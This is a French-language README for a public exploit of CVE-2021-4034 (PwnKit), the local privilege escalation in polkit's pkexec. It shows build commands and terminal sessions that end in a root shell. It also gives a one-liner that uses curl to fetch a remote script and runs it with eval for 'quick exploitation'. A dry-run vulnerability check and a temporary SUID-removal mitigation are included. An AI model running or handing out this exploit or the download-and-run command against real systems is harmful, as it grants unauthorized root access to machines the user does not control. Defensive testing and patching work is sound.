
Exploit pour CVE-2021-4034 (PwnKit) qui fournit un shell root via polkit pkexec. Inclut un mode dry-run pour tester la vulnérabilité et un script one-liner pour une exploitation rapide.
Un jour pour l'exploit d'élévation de privilèges polkit
Il suffit d'exécuter make, ./cve-2021-4034 et de profiter de votre shell root.
L'avis original des véritables auteurs est ici
Si l'exploit fonctionne, vous obtiendrez un shell root immédiatement :
vagrant@ubuntu-impish:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
La mise à jour de polkit sur la plupart des systèmes corrigera l'exploit, vous obtiendrez donc l'utilisation et le programme se terminera :
vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$
Pour ne pas exécuter un shell mais simplement tester si le système est vulnérable, compilez la cible dry-run.
Si le programme se termine en affichant « root », cela signifie que votre système est vulnérable à l'exploit.
vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run
...
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
root
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
1
Si votre système n'est pas vulnérable, il affiche une erreur et se termine.
vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $?
0
Polkit (anciennement PolicyKit) est un composant permettant de contrôler les privilèges à l'échelle du système sur les systèmes d'exploitation de type Unix. Il fournit un moyen organisé pour les processus non privilégiés de communiquer avec les processus privilégiés. Il est également possible d'utiliser polkit pour exécuter des commandes avec des privilèges élevés à l'aide de la commande pkexec suivie de la commande destinée à être exécutée (avec la permission root).
Vous pouvez facilement exploiter le système à l'aide d'un script unique, téléchargeable et exécutable avec cette commande :
eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami
vagrant
vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)"
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:.
# whoami
root
Si aucun correctif n'est disponible pour votre système d'exploitation, vous pouvez supprimer le bit SUID de pkexec comme mesure d'atténuation temporaire.
# chmod 0755 /usr/bin/pkexec
L'exploit échouera alors en signalant que pkexec doit avoir le
bit setuid activé.
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec
vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034
GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT”
pkexec must be setuid root